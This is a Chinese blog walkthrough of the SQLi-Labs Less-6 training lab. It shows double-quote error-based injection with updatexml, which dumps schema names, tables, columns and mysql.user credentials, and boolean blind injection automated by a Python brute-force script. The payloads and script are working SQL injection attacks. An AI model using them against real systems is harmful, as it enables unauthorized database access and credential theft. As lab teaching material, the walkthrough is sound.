SQLi LABS Less-6 报错注入+布尔盲注

 「作者简介」:冬奥会网络安全中国代表队,CSDN Top100,就职奇安信多年,以实战工作为基础著作 《网络安全自学教程》,适合基础薄弱的同学系统化的学习网络安全,用最短的时间掌握最核心的技术。

第六关是双引号字符型注入,推荐使用报错注入、布尔盲注

方式一:报错注入

推荐文章:报错注入使用详解,原理+步骤+实战教程

第一步、判断注入点

地址栏输入:?id=1"

页面显示数据库的报错信息,确定注入点为双引号字符型注入。

第二步、判断报错函数是否可用

地址栏输入:?id=1" and updatexml(1,0x7e,3) -- a

页面显示报错函数的信息,确定报错函数可用。

第三步、脱库

获取所有数据库,地址栏输入:

?id=1" and updatexml(1,
	concat(0x7e,
		substr(
			(select group_concat(schema_name) 
			from information_schema.schemata)
		,34,32))
,3) -- a

 

 获取 security 库的所有表,地址栏输入:

?id=1" and updatexml(1,
	concat(0x7e,
		substr(
			(select group_concat(table_name) 
			from information_schema.tables
            where table_schema='security')
		,1,32))
,3) -- a

 

 获取 users 表的所有字段,地址栏输入:

?id=1" and updatexml(1,
	concat(0x7e,
		substr(
			(select group_concat(column_name) 
			from information_schema.columns
            where table_schema='security' and table_name='users')
		,1,32))
,3) -- a

 

 获取数据库用户的密码,地址栏输入:

?id=1" and updatexml(1,
	concat(0x7e,(
        select group_concat(user,password) 
        from mysql.user where user = 'mituan')
    ),
3) -- a

 

方式二:布尔盲注

推荐文章:布尔盲注使用详解,原理+步骤+实战教程

第一步、判断注入点

地址栏输入:?id=1" and 1 -- a,页面正常显示

地址栏输入:?id=1" and 0 -- a,页面异常(空)显示

第二步、判断字符长度

判断当前使用的数据库的长度是否大于1(肯定大于),地址栏输入:

?id=1" and length(database()) > 1 -- a

判断成立,页面正常显示,文末使用脚本自动化判断长度

第三步、枚举字符

判断当前使用的数据库第一个字符的ascll码是否大于1(肯定大于),地址栏输入:

?id=1" and ascii(substr(database(),1,1)) > 1 -- a

 

 判断成立,页面正常显示,文末使用脚本自动化枚举字符

第四步、脱库

Python自动化脚本如下,按需求修改:

import requests

# 将url 替换成你的靶场关卡网址
# 修改两个对应的payload

# 目标网址(不带参数)
url = "http://78898329a5484d5f80b56c7b1f3d3710.app.mituan.zone/Less-6/"
# 猜解长度使用的payload
payload_len = """?id=1" and length(
  (select group_concat(schema_name) 
   from information_schema.schemata)
) ={n} -- a"""
# 枚举字符使用的payload
payload_str = """?id=1" and ascii(
	substr(
		(select group_concat(schema_name) 
		from information_schema.schemata)
	,{n},1)
) ={r} -- a"""

# 获取长度
def getLength(url, payload):
    length = 1  # 初始测试长度为1
    while True:
        response = requests.get(url= url+payload_len.format(n= length))
        # 页面中出现此内容则表示成功
        if 'You are in...........' in response.text:
            print('测试长度完成,长度为:', length,)
            return length;
        else:
            print('正在测试长度:',length)
            length += 1  # 测试长度递增

# 获取字符
def getStr(url, payload, length):
    str = ''  # 初始表名/库名为空
    # 第一层循环,截取每一个字符
    for l in range(1, length+1):
        # 第二层循环,枚举截取字符的每一种可能性
        for n in range(33, 126):
            response = requests.get(url= url+payload_str.format(n= l, r= n))
            # print('我正在猜解', n)
            # 页面中出现此内容则表示成功
            if 'You are in...........' in response.text:
                str+= chr(n)
                print('第', l, '个字符猜解成功:', str)
                break;
    return str;

# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)

获取所有数据库

判断字符长度 payload:

?id=1" and length(
  (select group_concat(schema_name) 
   from information_schema.schemata)
) ={n} -- a

枚举字符内容 payload:

?id=1" and ascii(
	substr(
		(select group_concat(schema_name) 
		from information_schema.schemata)
	,{n},1)
) ={r} -- a

执行结果:

获取 security 库中的所有表

判断字符长度 payload:

?id=1" and length(
  (select group_concat(table_name) 
   from information_schema.tables
  where table_schema='security')
) ={n} -- a

枚举字符内容 payload:

?id=1" and ascii(
	substr(
		(select group_concat(table_name) 
		from information_schema.tables
		where table_schema='security')
	,{n},1)
) ={r} -- a

执行结果:

获取 users 表的所有字段

判断字符长度 payload:

?id=1" and length(
  (select group_concat(column_name) 
   from information_schema.columns
  where table_schema='security' and table_name='users')
) ={n} -- a

枚举字符内容 payload:

?id=1" and ascii(
	substr(
		(select group_concat(column_name) 
		from information_schema.columns
		where table_schema='security' and table_name='users')
	,{n},1)
) ={r} -- a

执行结果:

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

士别三日wyx

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值